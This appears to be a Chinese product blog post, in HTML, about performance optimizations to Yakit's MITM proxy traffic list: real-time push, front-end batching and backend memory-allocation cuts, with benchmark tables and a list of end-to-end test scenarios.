  <p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.1927710843373494" data-type="gif" data-w="1079" data-imgfileid="100032990" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce71a29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Ff7AtEgJhMZfCSs0zKcMmDXyJt76PDpGiataSbajd3BpbZnPXBCqFaA3icu2mY1LGqAmJHIiaCq5N9qCBv47ktQEYA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/><img class="rich_pages wxw-img"/></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100041182" data-ratio="0.406486006219458" data-s="300,640" type="block" data-type="png" data-w="2251" src="https://wechat2rss.xlab.app/img-proxy/?k=988c1871&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ff7AtEgJhMZdUYXaiccQFYhEArmU3f9ef0VNmBjcyLt7PUV08libAc8EmnhuFSzlnIiaJThN911S7468pdssPD8hgw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100040729" data-ratio="0.4064814814814815" data-s="300,640" type="block" data-type="webp" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d40567bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ff7AtEgJhMZd0VthLJpzgmAAibgKmOtuudYEwKgrTRWKUKeuACA9RLaqk2MUIXHibxa7kicVPMHHT6ibIUsWCPUryRA%2F640%3Fwx_fmt%3Dwebp%26from%3Dappmsg"/></p><p data-pm-slice="0 0 []" style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="msha33tp1ap1"><span leaf="">在使用浏览器、Nuclei 等工具通过 MITM 代理产生大量流量时，一些用户遇到过这样的情况：</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="msha33tp1sjm" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">浏览器已经完成访问，Yakit 中的流量却要过一会儿才出现；并发一高，流量列表增长缓慢，CPU 占用升高，停止抓取后也需要较长时间才能恢复，最后导致使用的时候感觉页面卡卡的，很不跟手。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="msha33tp1fj0" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">本周，我们围绕这条链路，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">对 Yakit 前端与 Yaklang 后端进行了一轮完整的性能专项优化。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="msha33tp6i0" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">优化覆盖了流量产生、数据包处理、数据库写入、实时通知、Electron IPC、React 列表更新和虚拟滚动等完整链路。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 2 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">一、<span textstyle="" style="letter-spacing: 1px;">从“定时查询”转向“实时推送”</span></span></strong></p></div></div></div><h2 style="margin: 8px;"><span leaf="" mpa-font-style="msha33tpz28" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">过去，Yakit 的 MITM 流量列表主要依赖通知后再查询数据库。</span></span></h2><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="msha33tp1fdo"><span leaf="">在流量较少时，这种方式没有明显问题；但当浏览器或扫描器持续产生大量请求时，前端查询速度可能追不上后端写入速度，于是就会出现：</span></span></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="msha6ptkz5"><span leaf="">浏览器已经访问完成，流量过几秒才显示；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha6ptkv5v" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">流量数量长时间不变，随后一次增加几十或几百条；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha6ptk1bu2" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">数据库已经写入，但前端列表仍然存在积压。</span></span></p></li></ul><p style="margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" mpa-font-style="msha6ptk3o6" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">现在，Yaklang 会通过专用的 </span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">HTTPFlow 订阅流</span><span textstyle="" style="letter-spacing: 1px;">，</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">直接向 Yakit 推送不包含完整数据包正文的轻量级流量摘要。</span><span textstyle="" style="letter-spacing: 1px;">Yakit 可以先更新列表，用户点击某条流量时，再按 ID 加载完整请求和响应。</span></span></p><div style="margin-top: 10px;margin-bottom: -12px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-nest-level="2" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);" data-nest-level="3"><p style="outline: 0px;text-align: justify;margin-left: 8px;margin-right: 8px;" data-nest-level="4"><strong style="outline: 0px;" data-nest-level="5"><em style="outline: 0px;" data-nest-level="6"><span leaf="" data-nest-level="7">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="2"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);" data-nest-level="3"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;" data-nest-level="4"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;" data-nest-level="5"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);" data-nest-level="6"><p style="outline: 0px;" data-nest-level="7"><span style="outline: 0px;font-size: 14px;" data-nest-level="8"><strong style="outline: 0px;" data-nest-level="9"><span leaf="" data-nest-level="10"><span textstyle="" style="letter-spacing: 1px;">端到端体验：更早看到流量，积压更少</span></span></strong></span></p></div></div></div></div></div><h3 style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="msha6ptk1ptr" style="font-size: 15px;">下面是一组固定速率测试结果。测试连续产生 1,000 个请求，速率为 200 请求/秒、并发数为 16、响应大小为 4 KiB；优化前后使用相同代码指纹和测试配置，每组连续运行 3 次。</span></h3><p><table style="border: none;border-collapse: collapse;min-width: 100px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">指标</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">查询刷新模式</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">实时订阅模式</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">变化</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">请求产生 → React 展示 P95</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">970 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">490 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">↓ 49.5%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">第一条流量可见时间</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">117 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">42 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">↓ 64.1%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">最大可见流量积压</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">193 条</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">36 条</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">↓ 81.3%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Electron CPU P95</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">8.4%</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">6.3%</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">↓ 24.9%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Yak 峰值工作集</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">613.3 MiB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">558.2 MiB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">↓ 9.0%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">实际吞吐</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">200.1 req/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">200.1 req/s</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">基本持平</span></p></td></tr></tbody></table></p><blockquote><p><span leaf="">P95 可以简单理解为：95% 的流量能够在这个时间以内完成展示。</span></p></blockquote><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="msha6ptk1pcy"><span leaf="">在这组测试中，系统并<span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">没有通过降低流量处理速度</span>来换取界面流畅度：前后两种模式都维持了约 200.1 请求/秒的实际吞吐。变化主要来自实时链路缩短，以及页面不再频繁执行不必要的完整查询。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 2 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">二、<span textstyle="" style="letter-spacing: 1px;">前端刷新进一步提速</span></span></strong></p></div></div></div><p style="margin: 8px;" data-nest-level="2"><span data-nest-level="3"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mshafhpn1kbx"><span leaf="">实时推送解决了<span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;">“什么时候知道有新流量”</span>的问题，但流量到达前端后，如何合并、批量提交并触发 React 渲染，同样会影响使用体验。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="mshafhpn1kse" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">我们进一步调整了前端批处理节奏，并减少了重复的数组合并、去重和整表刷新。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="msha71fmi69"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mshaa8ih104f"><span leaf="" mpa-font-style="mshafhpn17pk" style="font-size: 15px;">在一组相同配置的对比中：</span></span></span></p><table style="border: none;border-collapse: collapse;min-width: 100px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">指标</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">优化前</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">优化后</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">变化</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">请求 → React 展示</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">约 497 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">约 120 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">约 ↓ 75.9%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">响应 → React 展示</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">约 494 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">约 110 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">约 ↓ 77.7%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">最大可见积压</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">21 条</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">9 条</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">↓ 57.1%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">Long Task 总时长</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">155 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">0 ms</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">明显改善</span></p></td></tr></tbody></table><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="msha71fmi69"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mshaa8ih104f"><span leaf="" mpa-font-style="mshafhpn17pk" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这一阶段把持续流量的前端刷新间隔从 500 ms 缩短到 100 ms。</span></span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span mpa-font-style="msha7c50hrr" style="font-size: 15px;"><span style="letter-spacing: 1px;font-size: 15px;" mpa-font-style="mshaa8ihjsy"><span leaf="">代价是 Electron 的绝对 CPU 占用有小幅上升，但换来了大约<span textstyle="" style="color: rgb(253, 128, 9);font-weight: bold;"> 4 </span></span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">倍的列表响应速度。</span><span textstyle="" style="letter-spacing: 1px;">我们最终选择了更偏向“跟手感”的配置，同时通过批量更新和虚拟列表控制资源消耗。</span></span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 2 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">三、<span textstyle="" style="letter-spacing: 1px;">Yaklang 后端减少数据包分配</span></span></strong></p></div></div></div><p style="margin: 8px;" data-nest-level="2"><span data-nest-level="3" data-mpa-action-id="mshag4xs127h" data-pm-slice="0 0 []"><span style="letter-spacing: 1px;font-size: 15px;" leaf="" mpa-font-style="mshag4xh1n1k"><span textstyle="" style="letter-spacing: 1px;">MITM 的另一个性能大头，是请求和响应在解析、修改、存储过程中产生的大量内存复制</span></span><span leaf=""><span textstyle="" style="letter-spacing: 1px;">。</span></span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7c501uzu" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">后端优化重点包括：</span></span></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7c50uqu" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">复用已经解析过的请求和响应；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7c501z06" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">减少数据包在不同处理阶段之间的重复复制；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7c501er" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">避免为了统计参数而重新解析完整请求；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7c5016kn" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">优化大请求、大响应和压缩响应的缓冲区生命周期；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7c501fbt" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">降低数据库报文编码过程中的临时分配；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7c50d0k" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">保持现有数据库格式、插件接口和报文修改语义不变。</span></span></p></li></ul><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 2 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">四、大数据包场景：减少无效复制和内存分配</span></strong></p></div></div></div><div><div><div><div><div><div><p><table style="border: none;border-collapse: collapse;min-width: 100px;"><tbody><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">内存分配指标</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">优化前</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">优化后</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">降幅</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">整个采样窗口累计分配</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">185.0 MB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">113.9 MB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">↓ 38.5%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">数据包扩容相关分配</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">96.2 MB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">60.7 MB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">↓ 36.9%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">数据库存储编码相关分配</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">51.6 MB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">6.8 MB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">↓ 86.8%</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">单条 Flow 处理分配</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">857 KB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">513 KB</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">↓ 40.1%</span></p></td></tr></tbody></table></p></div></div></div></div></div></div><blockquote><p><span leaf="">以上数字是测试窗口中的累计内存分配量，不等同于任务管理器中的常驻内存。减少累计分配可以降低 GC 压力，并改善持续高并发场景下的稳定性。</span></p></blockquote><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-nest-level="2" data-pm-slice="6 2 []"><div style="margin-bottom: 2px;outline: 0px;" data-nest-level="3"><div style="outline: 0px;text-align: justify;font-size: 18px;" data-nest-level="4"><p style="outline: 0px;" data-nest-level="5"><strong data-nest-level="6"><span leaf="" style="font-weight: bold;outline: 0px;" data-nest-level="7">五、不只是跑分，也补齐了自动化验证</span></strong></p></div></div></div><p style="margin: 8px;"><span leaf="" mpa-font-style="msha7wogur3" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">性能优化如果只看一次跑分，很容易掩盖丢流量、顺序错误或停止后无法排空的问题。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7wog1psq" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">因此，这次我们</span><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-weight: bold;">同时建设了 Electron 端到端自动化测试</span><span textstyle="" style="letter-spacing: 1px;">，覆盖：</span></span></p><ul style="margin-left: 8px;margin-right: 8px;" class="list-paddingleft-1"><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7wogvm8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">浏览器式突发流量；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7wog1pge" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">100 URL 批量访问；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7wog1xc1" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">固定速率持续流量；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7wog1cfx" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">慢消费者与积压恢复；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7wog1tzo" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">64 KiB 请求与 256 KiB 响应；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7wog17pe" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">压缩响应；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7wogss" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">MITM 重置；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7wog8me" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">History 与 MITM 页面切换；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7wogmo8" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">虚拟列表滚动、预加载和状态恢复；</span></span></p></li><li><p style="margin-bottom: 8px;"><span leaf="" mpa-font-style="msha7wog17ch" style="font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">连接中断后的重连与补偿。</span></span></p></li></ul><p style="margin-bottom: 8px;text-align: justify;margin-left: 8px;margin-right: 8px;"><span leaf="" 